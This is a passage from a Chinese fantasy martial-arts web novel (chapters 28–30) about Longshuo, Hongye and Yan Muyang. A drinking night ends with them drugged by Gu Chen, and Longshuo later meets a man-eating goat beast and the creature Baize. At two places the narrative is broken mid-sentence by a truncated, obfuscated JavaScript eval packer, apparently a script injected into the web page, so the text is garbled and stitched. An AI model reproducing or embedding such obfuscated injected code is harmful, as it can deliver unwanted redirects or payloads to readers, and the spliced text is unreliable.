“哇——”,红叶忍不住赞叹道:“好厉害!” 见燕沐阳很快恢复如初,龙烁拍手叫道:“沐阳公子寒冰术法盖世无双,竟然将腹中酒水冻成了冰块,这样一来岂不是海量啦!原来你才是真正的千杯不醉啊,呵呵!” “父亲曾说,酒乃至阳之物,与我体内寒冰真气相冲,今日一试,果然如此!饮酒不利于我修炼内功,我不可再喝!”,燕沐阳推开酒碗望向龙烁道:“我认你作兄弟,他日你若遇到难处,我自会全力相助!” “那太好啦!”,龙烁大喜:“我能有你这样一位好兄弟,实在是太荣幸了!” “我亦如此!” “啊,呵呵!对了,沐阳兄,认识你这么久,我都不知道你的名,‘沐阳’是你的字吧,那你叫什么名?” “我叫,燕燃!” “燕然?”,龙烁喃喃道:“玉笋执杯,语笑嫣然!这是形容女子的词句啊!” “燃烧的‘燃’!” “哦哦,这样啊!”,龙烁点头道:“我若直呼你的名字很容易引起误会,那我还是叫你沐阳兄吧!” “你比我大!” “啊是吗?我属龙,今年二十,你呢?” “马!” “啊,你竟然比我小两岁啊,呵呵!不过,你救了我那么多次,我还是叫你做沐阳兄了!”,龙烁站起身子将手中的一大碗酒一饮而尽,而后又倒两碗,连饮三碗后说道:“沐阳兄,这三碗酒,一碗是敬你我的兄弟情谊,一碗是敬你对我多次的救命之恩,这第三碗酒是敬你此行陪我二人来到锦官城内,若是这次我能够说服我未来的岳父岳母大人同意我二人的婚事,我和红叶成亲之时,请你务必来喝喜酒啊!” 燕沐阳微微一怔,点头道:“好!” 红叶尚未饮酒,脸颊已经微微泛红,她赶忙端起酒碗道:“沐阳公子,我也敬你一碗,等我嫁与龙烁哥哥为妻后,你便唤我作兄嫂,咱们也算是一家人啦!”,她说着便咕咚咕咚地将满满的一大碗酒全部喝下。 不一会儿,她脸颊变得更加红润,烛火映照之下显得格外好看。 燕沐阳微微点头,问道:“红叶姑娘,我知你会使乱真易容术法,你可曾听过,上官悦?” 红叶摇摇头道:“龙烁哥哥已经问过我啦,这个名字我从未听过,昨日我派出我的冰蝶去打探消息,到现在仍是没有回音,不过你放心,只要这人尚在人间,我的冰蝶就一定会找到她的,到时候自会引你去相见!” 燕沐阳站起身来,拱手一礼:“多谢!” 龙烁好奇道:“沐阳兄,你究竟为何千方百计地寻你师叔?” 燕沐阳犹豫片刻,说道:“我想知道,他的乱真易容术法功力如何,我与他相比,孰高孰低!” “啊?就为了要比试乱真易容术法功力啊?”,红叶奇道:“这种术法只要施术技巧足够纯熟,功力的强弱就只看内力的深浅了,沐阳公子你内功深厚天下少有,又有谁能胜得了你呢?” “嗯,或许是我施术技巧不够精熟,在口诀、动作、运气法门的配合上尚有欠缺,我的内力明明在母亲之上,却无法破解她的乱真易容术法,所以我想知道,师叔的乱真易容术法功力究竟如何,若胜过了我,我还须向他请教” “沐阳公子苦心钻研精益求精,红叶佩服的很!”,红叶赞道:“我学这术法就是为了好玩,能糊弄到大多数人就已经很满足啦,呵呵!” 燕沐阳问道:“红叶姑娘,你的乱真易容术法,是从何处学来?” “我娘教我的——” “令堂武功修为如何?” “我娘不会武功,她的乱真易容术法连我都能破解,她的功力自然不能跟沐阳公子你相比啦!” “那么,她的术法又是何人传授?” “这个我娘没有跟我说过,我只知道那人应该已经不在人世了!” 燕沐阳略感失落,低头不语。 “既然如此——”,龙烁向红叶道:“那么就请你的冰蝶朋友尽快帮沐阳兄寻找吧!” “嗯没问题,有消息我立即通知你们!” “好!” 龙烁给燕沐阳夹了一些素菜,给红叶掰了一只鸡腿说道:“吃饭吃饭,这几天我和沐阳兄几乎没吃过一顿饱饭,我都瘦了一圈呢,你们也多吃点啊——” 看着龙烁狼吞虎咽的样子,红叶咯咯笑道:“龙烁哥哥你慢点吃,又没人跟你抢——” 28.言笑晏晏 几人边吃边聊,不觉时光飞逝,店中的客人已经陆续离开,酒肆的门外已变得漆黑一片。 红叶估摸一下时间,这会儿已经接近子时。 钱掌柜将酒肆的板门掩上大半,而后径自去后房休息。 堂中只剩他三人仍在欢聊畅饮。 待到龙烁吃饱喝足,桌上只剩下一坛子酒和一点剩菜。 看着满桌狼藉,红叶笑道:“没想到龙烁哥哥的饭量这么大,你说日后我是不是有的忙了?” “啊?嘿嘿!说到做饭,我还真是不会,不过我可以学,不会让你一个人辛苦——” 龙烁晃晃最后一坛子酒说道:“不过话说回来,我看你们这里的碗碟菜量都比不得我们北方,你们这儿的人都吃这么少吗?” “嗯,如龙烁哥哥你这般的饭量,我还真的是第一次见到呢!” “啊,难怪你们这里的人都瘦巴巴的!不过瘦一点也挺好看,呵呵,沐阳兄你说是吗?” “什么?” “这里的美女不但乖巧灵俏,皮肤更是像荔枝一样嫩的能掐出水来,果然是一方水土养育一方人!” 燕沐阳并不搭话。 红叶笑道:“龙烁哥哥,如沐阳公子这样的人,一般的寻常女子又怎么会入得了他的法眼呢!” “啊!对啊!” 龙烁一拍大腿道:“今日我和红叶就在林中遇到一人,她的神情气质与你极为相似,你二人若是站在一起,那简直就是传说中的金童玉女啊!只可惜那女子是位神仙,而我们看到的也只是她的画像而已!不然的话我一定要把她带来介绍给你认识,保准你一见到她会移不开眼的——” 龙烁对那画像的由来只字不提,以防不小心说出清道长南来寻他的事实,莫得再被了清道长把沐阳公子带回浸云谷去。 燕沐阳漠然不语。 龙烁道:“沐阳兄,你不会是以为我在开你玩笑吧?我是说真的——” “哼!”,红叶小嘴一撇,轻嗔薄怒:“我看是你自己喜欢她吧——” “呵呵,她是神仙,难道你不喜欢?” 龙烁知道红叶在吃醋,他并没有回避问题,而是选择实话实说,认为毕竟那位太元玉女是九天之上的神仙,即使承认自己对她倾慕有加,也没有关系。 红叶怒道:“我的‘喜欢’和你的‘喜欢’又能一样了?若是真的让你遇到她,你又能舍得把她介绍给沐阳公子了?我看你自己早就屁颠屁颠的追人家去了,哼!” “我对天发誓,我自觉配不上人家,对那位神仙姐姐绝无任何非分之想!” “什么神仙姐姐神仙妹妹的,你就是喜欢她,我——我不准你有别的喜欢的人,呜呜——” 红叶的眼泪簌簌流下,龙烁这才慌了神,他忙起身安慰道:“不是,我没有别的喜欢的人啊,只有别的喜欢的神,这样也不行?” 红叶嘴角一弯,想笑却忍住不笑,怒斥道:“不行,我不许你对我有二心,即使是神仙也不行!” 红叶欲笑非笑的模样十分可爱,梨花带雨的样子更是楚楚可怜,龙烁忙道:“好好,我只喜欢我的红叶妹子一人,一生一世,三生三世,好不好,你别哭了红叶,你哭得我心都疼了!” 燕沐阳自觉非礼勿视,踱步至门边望向外面。 此时门外漆黑如墨。 “红叶,你想一想!”,龙烁继续安慰道:“那女子是天上的神仙,而我只是个凡夫俗子,人家瞧不起我自不必说,我若是厚着脸皮去追人家,那岂不真的是癞蛤蟆想吃天鹅肉了?” “哼!”,红叶不屑道:“你追她那是癞蛤蟆想吃天鹅肉,那我又是什么了,毒蛇黄鼠狼么?” 龙烁一怔,吱吱坏笑道:“怎么会呢,你是花中的仙子,月宫的娘娘,我就是那草中的瓢虫,月宫的青蛙,我若是娶了你,那就是蟾宫折桂,瓢虫探花!” 红叶扑哧一笑,愤愤道:“我看你不是虫子青蛙,倒像是油嘴滑舌的粉面郎君,竟会甜嘴蜜舌花言巧语!” “是是,你说什么就是什么,红叶,你不生气了吧?” “哼,你最近总是惹我生气,你觉得只凭几句甜言蜜语就能让我开心了?” “你别生气了红叶,你龙烁哥哥我没经验最不会哄人,这样,我自罚三大碗酒,就当给你赔不是了,喝完这坛,我也够劲了,咱们回去好好休息,明天一早就去找伯父伯母商量咱俩的婚事怎么样?” 红叶羞涩道:“好!” 龙烁端起最后一坛酒往碗中倒去,然而翻个底掉也只倒出了半碗酒,皱眉道:“哎呀,没酒了,钱掌柜——钱掌柜——再拿一坛酒来!” 没人回应。 龙烁跑到后门向外张望,外面伸手不见五指,他又喊几声,仍是无人应答。 他无奈叹道:“奇怪,怎么没有人了?” 只听门外远远地传来一个年轻男子的声音说道:“天何兄,你可让我好找,哈哈哈哈——” 燕沐阳听到陌生男子的叫声,以为是劲敌来袭,化出冰剑直指门外,然而未见其人,又闻其声—— “你看我给你带了什么来啦?” 龙烁辨出那人的声音,冲到前门高声喊道:“古兄,是不是你?” 门外突然闪进一个偏偏公子。 那人左手顶着一个酒坛,右手拿着一把折扇,朗声说道:“哈哈,除了我还能有谁?天何兄你不够义气啊,喝酒也不叫我——” 龙烁连忙让燕沐阳放下冰剑,解释道:“是自己人——自己人!” 红叶兴奋地道:“古师兄,你终于回来啦!你是什么时候回来哒?” “哈哈,我今日刚到锦官城内,就听说你们在万兽山的奇遇,于是便快马加鞭地赶来寻你们啦!” 古辰将手中的酒坛放到桌上:“这位一定是大名鼎鼎的沐阳公子了,在下古辰,幸会幸会——” “沐阳兄——”,龙烁介绍道:“这位是我在巫山结识的一位好兄弟,他的变身术使得出神入化,当日在巫山“仙人酌”酒肆外,我便亲眼目睹他变成一只板凳,与寻常板凳一般无异,真可谓是巧夺天工神乎其技!” 燕沐阳微微点头示意。 龙烁开心地拉着古辰落座,与他叙起旧来。 “古兄,那日仙人亭一别,没想到竟发生了这许多事,近日我经常想起你,想起咱二人在仙人亭中开怀畅饮时的情景——” “天何兄,那日我引开那群黑衣人后,回来寻你不着,我还道你竟不辞而别了!” “那怎么可能!”,龙烁摆手道:“你离开后没多久,我就被星月宫朱雀星君的人打晕了,还被他们掳掠到此地,幸好遇到了红叶,这才脱险!” “噢?是小师妹救了你?” “是呀,嘿嘿!”,红叶咯咯笑道:“你说这是不是叫作缘分?哈哈!” “呵,我只道你从不与陌生男子接触,原来竟还有人能让咱们红叶师妹不惜亲自出手拔刀相助?” “那要看这人值不值得啊!”,红叶嘿嘿一笑,问道:“对了师兄,你这次去追查诛心术的结果怎么样?这毒辣咒术难道真的又重现江湖了吗?” “还不确定!”,古辰道:“咱们不说那些不相干的事儿了,我从巫山办完事回来特意带来了几坛子那边的名酒,本来我是带给自己喝的,没想到又在这儿与天何兄重聚,实在是高兴之至,咱们今晚一定不醉不归啊!” 他给龙烁和燕沐阳二人斟上满满一大碗酒,又给自己倒了一碗端在手中道:“我先干为敬——”,他说着便即一饮而尽。 “仙人酌?”,龙烁两眼放光:“古兄你竟然从这么远的地方带回这酒,真是难为你啦——” “实在是因这美酒的香气浓郁非常,惹得你兄弟我垂涎不已!” “哈哈!古兄,我能跟两次你共享人间的玉液琼浆,实在是我龙烁的一大幸事——” 一大碗美酒下肚,龙烁顿觉全身筋骨舒展,血脉通畅,朗声说道:“巫山美酒仙人酌,锦官玉露小清酿,此生若非得尽享,便作神仙也彷徨!哈哈——” 红叶端起一只空碗咯咯笑道:“什么样的美酒让我龙烁哥哥这么推崇,竟然排到了咱们小清酿的前头,师兄,给我倒点,我也尝尝——” “师妹,你一个女孩子家,须得端庄自持,又来跟我们凑什么热闹!”,古辰劝道。 “呵,我高兴啊,这里又没有外人,怕什么?” 红叶抢过酒坛给自己倒一碗酒,凑到嘴边闻了闻说道:“在家的时候爹爹妈妈都管不了我,现在出来啦,你古辰师兄又能管得住我吗?嘿嘿,嗯,酒香浓郁,闻着确实不错!” 她咕嘟咕嘟喝了两口,抹抹嘴,摇头道:“不过这酒劲儿却差得远了!可不如咱们小清酿上头得厉害!” “小清酿别名‘顷刻醉’,自然上头得厉害!”,古辰道:“这仙人酌虽然入口绵柔,后劲可大着呢,一会儿你就知道了!” 眼见燕沐阳滴酒未动,古辰道:“沐阳公子,今日得能与你相识,实在荣幸,我听说你在万兽山中曾以一人之力抵住上万头神兽的围攻,真可谓是一夫当关万夫莫开,实在是令人佩服!我内功修习不得其法,虽然日夜苦练,仍是不能精进,倘若让我遇到那么危险的状况,虽然可以依仗变身术法保住性命,但若想去救助他人,却是断无可能!我有一个不情之请,他日若有机会,能否请沐阳公子教我内功修习之法?” 燕沐阳摇头道:“修习内功并无捷径,便如写字画画,若想笔法精纯,只有摈弃杂念、全心修习,只要每日进步一点点,假以时日,你自会发现,仓廪盈实、内息充沛!” “啊!或许我就差在不能摈弃杂念、全神贯注这一节了!” 古辰长叹一口气说道:“在下受教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“单说一只会说话的兔子,古兄你就决计没有见到过!这兔子非常有灵性,叫作讹兽,它说话间总是充满善意,然而嘴里却没一句真话,贯会花言巧语的骗人,你说有意思不?” “呵呵,是嘛,这倒有趣,那你有没有被它骗到?” “你天何兄我这么聪明,自然是没有被骗到,不过玉龙帮的众位兄弟却是被它骗进了一片沼泽,还险些丧命了呢!” 龙烁暗想自己入山纯是为了寻找红叶,自然不会去招惹那讹兽,又怎么会上当受骗?只有玉龙帮他们那些为了《天书》而来的人才会向它打听白泽的所在,这才导致他们上当受骗,身陷险境! “噢,既然山中如此危险,我还是庆幸自己没去冒险!”,古辰道。 “此言差矣!山中的众多上古神兽咱们在外面是决计见不到的,比如麒麟、凤凰、九尾狐、应龙——哎对,飞天应龙你见过吗,我的天,一条巨龙在云层中来回穿梭,那景象别提多壮观啦——” “飞天应龙?”,古辰来了兴致:“我只听人说过,从没有在哪里见到过,有机会我一定要见一见它!” 龙烁不住摇头道:“外面是见不到的,除非你进——进到万兽山!” 他此刻忽觉酒劲上涌,眼睛晕眩,舌头也有点打弯,好在脑瓜还算清醒,掰着手指头算了算,自己喝了九坛子小清酿,又喝了五大碗仙人酌,这会儿终于感到醉意朦胧,意念难以集中。 他暗暗疑惑道:“怎么这五大碗的仙人酌后劲一来,竟然胜过了前面九坛子小清酿带来的力道——” 他眯起眼睛,视线已经模糊不清,悠悠说道:“还有呢——我们还遇到了一个——同咱俩一样爱喝酒的——小狌狌,它的名字叫做——飞飞,这家伙不但好酒——还——还很是好色呢,它娶了——七八九十个老婆,哄不好她们——就要——就要挨揍,古兄,你说它——是不是很辛苦啊?呵呵!” “龙烁哥哥——龙烁哥哥——你在说什么呀?” 朦胧间,龙烁见红叶走到自己身边拍了拍自己的肩膀,然而自己身体已经全然麻木,任她如何拍打竟感觉不到一丝劲力,只隐约听她问道:“你说什么白衣仙姑,是不是那太元玉女的画像?” 龙烁听到太元玉女的名字,脑子顿时清醒了一些,问道:“我说了白衣仙姑?” 他抬眼望去,却见燕沐阳此时突然缓缓低下头,倚在桌前沉沉睡去。 龙烁使劲摇摇脑袋,忽感头重脚轻,四肢无力,身子一软,仰头躺倒在地。 闭上眼睛的那一刻,龙烁看到红叶惊呼着跑到自己身旁,却见她身子一歪,瘫软在地,恨恨道:“师兄,是你下了药?为什么?” “师父师娘让我带你回去,师妹,对不住了,我不能看着你做傻——” 一句话没有听全,龙烁已经不省人事。 29.非狮非鹿 翌日,龙烁悠悠醒转,却仍感到身困体乏四肢无力,似乎昨晚做了一个很长的梦,梦中他不住奔跑,似在追逐,又似在奔逃。 他按按脑袋,又揉揉肚子,闭着眼睛努力回想昨晚发生的事情。 突然间,他霍地睁开眼,发现前方一张圆桌上整齐地摆放着茶壶茶杯,门口的屏风上平整地挂着自己的外衣和束带。 一缕阳光从窗户的缝隙里射进,打到桌上汉白玉的茶杯后又反射出莹莹亮光。 周围一片安静祥和,原来自己是睡在了悦仙居的客房之中。 他跑去窗边,外面已然天光大亮,瞧那太阳的方位,竟已过了午时。 他心念一动,连忙抓起外衣冲到燕沐阳和红叶的房门前来回敲击。 无人回应,他又慌忙跑下了楼。 钱掌柜正在账台前拨弄算盘,龙烁一把抓住他的胳膊:“钱掌柜,昨天跟我一起来的那两个人,他们去了哪里?” “啊,你是说红叶姑娘和那位白衣公子?” “对对!” “他们不是在各自房中吗?” “不在,你知道他们去哪了吗?” “小人不知道啊!昨晚你们不是在一起吃饭的吗?” “是,但是今日你有没有见到过他们?” “没有啊,小人知道你们昨天吃饭吃到很晚,以为你们今日都要睡上一天,因此也没敢去打扰!” “糟了!”,龙烁暗想:“红叶一定是被古兄带回了南宫府!那沐阳兄又去了哪里呢?” 他在账台前面来回踱步,推测莫非了清道长已经找到了他,把他带回了姑射山? 他转念一想,又觉不对,若是沐阳兄跟随了清道长回了浸云谷,他一定会给我留下书信或者字条什么的,绝不可能不辞而别! 钱掌柜看到龙烁忧心忡忡的样子,朝他上下打量一番:“公子啊,你没带佩剑么?” “啊,我不会使剑!” “公子您胆子可真大,佩剑都不带,现在城里可不太平,这段时间经常有人失踪,您可得注意点儿——” “有人失踪?那是怎么回事?” “人们都说西岭雪山里出了妖怪,隔三岔五就到城里来吃人,尤其是晚上,那妖兽竟能神不知鬼不觉地把人偷走!” 龙烁背上生出一身冷汗:“那妖兽长什么样子?” “不知道啊!谁都没有见过它,见过它的人都被它吃掉了!” 龙烁一惊,暗想沐阳兄莫不是被那妖怪捉了去,不然又怎么会突然失踪? 转念一想,还是不对,沐阳兄昨日跟我一起昏倒,若是他被妖怪捉去,我断不会睡在客房之中,一定是古兄把我们都送回了卧房,而后,而后沐阳兄醒了过来又自行跑了出去? “我看您也不似本地人,走南闯北身上没有武器怎么行,要不您把我店里的榔头带上防身吧?” “啊不必了!多谢!” 龙烁拿出银子结了账,快步走出“悦仙居”来到街上。 此时街上车水马龙人头攒动,时不时有大队人马飞奔而过,他一边找一边询问街边的商贩有没有见到一个身穿白衣的年轻公子,然而找了许久仍没有找到任何线索。 临近申牌时分,龙烁正感手足无措,两名中年男子从他身旁迎面走过。 一人叹道:“谢亭韵在南宫府避难的消息也不知是谁给泄露了出来,你看这一拨一拨的人马都是奔着南宫府去的,咱们也去瞧瞧?” “去是可以!”,另一人道:“不过现在那里高手云集,待会儿他们若是打了起来咱们只看热闹,可别多管闲事啊,莫得惹祸上身!” “好!不过我看未必打得起来,听说南宫老爷帮忙抓住了偷走《天书》的小贼,这也算是给了大伙一个交代——” 龙烁突然停下脚步,暗暗疑惑:“净心这小子被抓了?不会吧,他随时可以趁人不备使出矩纸穿行术法逃生啊!莫非这小子故意潜伏南宫府又有什么阴谋?如果真是这样,红叶会不会有危险?此时众人齐聚南宫府,她爹爹妈妈忙于应对,或许正是救出红叶的好时机!” 他打听到那南宫府的所在后却又在原地徘徊起来,犹豫着不知该先去找燕沐阳,还是先去救红叶。 他想着现在既不知道那南宫府到底大不大,又不知道红叶现在被关在哪个地方,万一被人发现自己鬼鬼祟祟,恐怕还是要吃不了兜着走!不如先去找到沐阳兄,再让他帮忙一起去救出红叶! 打定主意后,龙烁继续穿街走巷寻找燕沐阳,几乎跑遍了所有的闹市区仍不见其踪影。 突然间,一个白影闪过,他大叫道:“沐阳兄,是你吗?” 那白影并未回头,竟如离弦之箭般东一闪西一窜地往西南方的山林里跑去。 莫非那是了清道长? “哎等等我——” 龙烁奔出十余里地始终追他不到,直累得停下来休息。 远远望去,那白影竟也在前面停了下来。 他看准机会发力猛追,那白影竟也迅速反应过来,东奔西跑地往山林深处钻去。 又追了一炷香的功夫,龙烁忽然反应过来:“不好!莫非是调虎离山之计?这是想把我带到偏僻的地方杀人灭口?” 他赶忙停下脚步,心中暗暗叫苦,觉得现在返回为时已晚,他稍稍稳定下心神,高声叫道:“不追了,我不追了!这位兄台,这里已经够偏僻的了,你要想杀我就赶快放马过来吧!” 周围一片安静。 龙烁暗暗庆幸:“看来这人倒不像是有什么敌意!” 又过一会儿,仍没有回音,他又高声喊道:“你要是不出来我可就走了啊,我还有事,没工夫跟你在这浪费时间!” 他小心翼翼地试探着后退几步,周围全无动静,于是当机立断,立马转身回奔。 然而刚跑出几步,却听到身后左侧蹄声得得,似是有人骑马追来。 马蹄之声越奔越近,龙烁正打算回头去看那人是谁,却被那马蹄一脚踢中了背部。 他整个身子腾空而起,直向前方飞出十几米后才掉落在地。 “哎呀——哎哟——” 龙烁虽然并未感觉到十分疼痛,却故意捂着胸口在地上哎哟哎呀地大叫,想着等那人走近身后再来个突然袭击,以他一品锥风术法的风力将那人迅速打倒,一招制敌。 果然,蹄声得得,那人骑着马慢慢向自己走近。 龙烁不去看他,自顾自地呻吟哀嚎,心中却暗自窃喜:“嘿嘿,上当了吧!” 闻声辨位,等到那马蹄声离自己不足一丈地时,他心中默念:“拂乱三秋叶,摧断碧云天,阖风心中过,乾坤尽换——” 然而,他刚要出掌,却被那马蹄抢了先。 一只雪白的大蹄子从天而降,一脚踏在龙烁的胸口上将他压倒在地。 这蹄子既肥且壮,似千斤坠般将龙烁压得喘不过气来。 抬眼看去,龙烁不禁暗暗心惊! 一头巨大猛兽的腹部出现在龙烁头顶上方。 这猛兽通体雪白,并非是一匹马的形状。 视线被遮挡,龙烁看不到它的头部,根本不知那究竟是什么生物! 只听它一声咩咩鸣叫,声音温柔欢畅,龙烁这才放下心来,原来那是一只硕大的肥山羊! “喂——喂!山羊老兄——快把你的——羊蹄子挪开——我快——我快喘不过气来啦!” 闻声,那山羊果然退后了几步。 “多谢多谢!” 龙烁捂着胸口站起身来,却见那肥山羊的头上竟然长着四只犄角,不禁吓得背上生出了冷汗。 他心中连连叫苦,暗想这应该就是净心不小心从万兽山中放出来的那只土蝼,大概也是锦官城的百姓口中所说的那只妖怪。 真真是出门没看皇历,竟然在这里遇到了它! 龙烁心知这土蝼喜好吃人,心中盘算如何脱险,却见它此时仍在继续后退,直退到十几丈外这才停下。 只听它又发出一阵咩咩的鸣叫,同时右前足在地上不住摩挲,像是在积蓄力量等待爆发。 “救——救命啊——” 见势不妙,龙烁转身便跑。 他边跑边回头观望,那肥山羊果然顶着四只弯刀似的犄角冲自己飞奔而来。 “糟糕糟糕!”,龙烁暗想:“若是被它的犄角刺中必死无疑!死就死了,胸口莫的还要被捅出四个大洞,那岂不是死得很难看?” 想到这里,龙烁更是使出吃奶的力气直冲着密林深处狂奔,想着看看关键时刻那些粗树干能不能派上用场替自己挡一挡枪! 背后羊蹄声得得逼近,四把“弯刀”蹭到树叶嗤嗤作响,似乎马上便要碰到龙烁后颈。 龙烁突然一个闪身,变换方位向左狂奔。 肥山羊果然中计,四只犄角直直地刺进了前面的一棵粗树干上。 它身子不住扭动却拔不出来,咩咩咩地悲鸣起来。 “嘿嘿——这下服了吧——” 龙烁停下脚步气喘吁吁:“你是跑得快——不过脑子不太好使——想吃我啊——再多长几个心眼儿吧——” 忽然,那肥山羊由悲鸣转为嘶嚎,右脚在地上摩挲几下,猛一发力,竟然将犄角拔了出来。 那土蝼稳了稳身子便又冲龙烁袭来。 “啊?哎呀!你有完没完啊?不是,你别追了,我服了,我服了还不行吗?” 见那肥山羊的速度不降反增,冲着自己越奔越快,龙烁无奈只得继续逃跑。 他连躲带闪避过了土蝼的几次袭击,而后奋力向西奔跑。 大约过了一炷香的功夫,他渐感体力不支,见前方一条小河蜿蜒而过,他想也没想直奔至岸边纵身一跃,跳入了河中。 那肥山羊奔至河边戛然而止,望着河水咩咩咩地叫了几声。 龙烁终于放下心来:“下不来了吧?哈哈,山羊老兄,我劝你还是放弃了吧,我的肉全是酒味儿,不好吃的!” 龙烁吹着口哨在河水中央来回漂游,逍遥自在洋洋自得。 然而他只游了一会儿竟下发现河水甚浅,站起身来,水面仅仅没过腰间。 他瞧瞧那土蝼的身形,估计也就刚刚没过人家的膝盖,尴尬一笑:“不会吧!” 下一秒,那肥羊便如离弦的弓箭般迅速冲入河中,霎时间出现在了龙烁面前。 眼见它张开血盆大口露出满嘴的獠牙,龙烁心想这下完了。 “救命——” 他下意识地举手挡隔,闭上眼睛不敢再看! 忽听嗤嗤声响,龙烁定睛一看,数把利剑从空中袭来,尽数插到了那土蝼的身上。 那土蝼一声悲鸣,直倒而下。 水花四溅,掀起了阵阵波浪。 鲜血顺势流淌,染红了河中央一大片的地方。 龙烁惊魂未定,却听一个中年男子的声音朗声叫道:“这位小兄弟,你没事吧?” 龙烁转身一看,河岸边站着十七八人,齐刷刷地穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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突然,后面一人走上前来在楚云尘耳边低语:“主上,朱雀星君一直派人跟踪咱们,想必很就快就会赶来,此地不宜久留!” 楚作尘微微点头,向龙烁道:“这里是朱雀星君的管辖之地,我们不便久留!星月宫最近正在扩张势力,如你这样的年轻男子还需多加注意躲避。我们大事已了,这便要回去了,告辞!” “哦哦,好的,多谢青龙星君提醒!” 龙烁心知他指的是注意躲避朱雀星君和他手下的追捕,十分感激他的好意,深深鞠躬再施一礼,待到他抬起头来的时候,那十几人竟突然消失不见。 龙烁不禁暗暗好奇那星月宫到底是个什么样的门派,为什么朱雀星君的心肠那么歹毒,而青龙星君的心地却如此善良! 行出将近二里来路,龙烁仍在回想刚才发生惊险的一幕,却听脑后一个苍老的声音突然说道:“啧啧啧——” “谁?” 龙烁猛一转身,不禁倒吸一口凉气。 只见一只通体雪白、似狮非狮、似鹿非鹿、似羊又非羊的巨兽突然出现前方俯身凝视龙烁! 竟是白泽! 这白泽离他不过一尺三寸,厚重的呼吸从龙烁头顶上方迎面扑来,吹得他头发四散纷飞,额前的刘海便似要挣脱束缚般到处乱荡。 “没想到你的武功术法如此差劲,真是令人失望!” 龙烁吓得愣在原地,大气也不敢喘上一口。 “你不必害怕,我不会伤害你!” 闻声,龙烁这才放下心来,赶忙退后几步:“啊!既然如此——请你离我远一点儿,否则——否则难保我不会伤害你——” “呵呵!”,白泽轻笑几声:“万兽山中总有人在你危难之时出手相助,现在你落了单,我便想来试试你的功力,看看你杀死一只土蝼需要多长时间,没想到你竟不会半点武功,那锥风术法的威力也极为有限,这真是大出我的意料——” “噢——”龙烁这才反应过来:“原来是你引我到这里来的,你原本就知道土蝼在这里的是吗?” “不错——”,白泽微笑着点了点头:“你还算聪明,这也很重要!” “什么很重要?你到底有什么企图?” “我有事找你,或者说,有事求你——” “求我?你找错人了吧?你是不是要找——” 龙烁本想说你是不是想找沐阳公子,转念一想,不能乱说,莫的给沐阳兄带来麻烦,于是赶忙闭了嘴。 “不——” 白泽轻轻摇头,它的山羊胡须随着下巴来回飘荡:“我就是找你——我说过,万兽山中的一切都逃不过我的眼睛,那日你在林中小憩,我自觉灵力被你吸去了一些,从那时起,我就知道你就是那个天选之人——” “你什么意思?什么天选之人——” “嘘——太阳快要落山了!留给你和我的时间都不多了,你先听我说——” 龙烁不解,此时的白泽动作轻缓语音温柔,与昨晚万兽山中那凶神恶煞的样子大不相同。 他看看西边的云彩,灿烂的晚霞耀眼夺目,此时太阳已经落山,天色确实快要黑下来了。 “我之前说过,我的祖先生活在上古时代,大约是在8000年前,原是住在昆仑山的,到我这里,已经是第二十七代了!由于生存环境变迁,我们家族日渐衰落,到我这一代,仅剩我独身一个了!”白泽哀叹一声,仰头看向西天的晚霞:“你应该听说过,我们白泽一族天生就有着通万物之情的本领!近几年来,我发现你们人类愈发关注万兽山中的生物,因此我常常暗自担忧,恐怕一场浩劫在所难免!” 白泽转身看向龙烁:“本来我是不害怕的,只可惜,去年我庆祝过三百岁生辰之后,便感觉到体力渐衰,灵力日微!因此,我急需找一名贤人君子来替我守护万兽山的生灵!所以我放出消息,说我白泽手中有一本《天书》,是无价之宝,以此来吸引你们所谓的仁人志士前来争夺,目的就是为了找到那个天选之人!” 30.临危受命 “什么?《天书》的消息是你放出来的?所以——所以那《天书》是假的,根本就不存在的对吗?” “不,《天书》是真的,只不过你们拿到的那一本,却是假的!” “啊——”,龙烁幡然醒悟:“你故意拿出假的《天书》来给我们看,还骗我们说只有神圣仁义之人才能看到书中内容,累得大家互相猜疑,你这招简直太阴损了!” “《天书》确实只有一人能够看到,我没有骗你们——”,白泽洋洋得意:“就是那个天选之人!我发现他后,就命令众神兽尽快赶人类下山,没想到,你们中的一些人浑不怕死,竟然找到了我的藏身之处逼我现身!我本来想着悬崖山上万兽齐聚,足可以将你们一网打尽,却没想到你们竟然能够全身而退,这也大出我的意料,我不得不承认,你们人类也是极为智慧的一种生物,竟然创出矩纸穿行这种神奇的术法!” “噢——所以你杀我们不死,只得跑出来求我保守秘密,让我们别把这事透露出去是不是?说实话啊,我根本无心去找什么神兽什么《天书》,我去万兽山是纯属偶然,我保证,我不会说出去的,你就当我没来过好吗?” “不——” 龙烁心中一凛,它莫不是真的想要杀人灭口吧? “我这次出山,是要把真正的《天书》传给天选之人!” “噢,你是说沐阳公子,恰好我也正在找他,如果你知道他在哪,不如带我一起去——” “不,我要找的,不是他——” “不是他?那是谁?”龙烁开玩笑:“总不会是我吧!” “正是——” “什么——” 龙烁突然再也笑不出来:“不是,那个,你也知道我武功低微术法不精,我连自己都保护不了,又怎么有能力帮你去保护神兽?” “你很聪明,又很善良,这已经足够!” “呵!天下聪明善良的人多得是!”,龙烁尴尬一笑:“何况我那些只是小聪明,若是有用,我也不会这么多次要倚仗别人的帮助死里逃生了!哎对,我可以想办法帮你通知我们大宋的天子,我们的皇上,我想他一定有这个兴趣帮你统领万兽山的——” “你能屡次化险为夷,这便是天意,你不必推辞!这本《天书》,我现在给你——” 白泽说着上前几步。 “不要——谢谢——我不要!” 龙烁读过不少史书,知道自己能力不足,不能当此大任,强自争取,必有余殃,忙推辞:“我给你说心里话啊,你若是想传我一身内力或者武功术法,我也不推辞,你若要给我真正的《天书》,那就算了吧,倘若被别人知道我拿到了真正的《天书》,我还有命活吗?你这不是把我往绝路上逼吗?” “有的时候,不被逼上绝路,你都不会知道,自己究竟有多大的潜力!” 白泽自顾自地向他逼近:“你们人类有一句话——授之以鱼不如授之以渔,我现在把《天书》传给你,至于如何运用自如,还需靠你自己努力——” “不不,我不想努力!那个,我帮你去问问别人,看看谁想要,然后把他带来给你啊——” 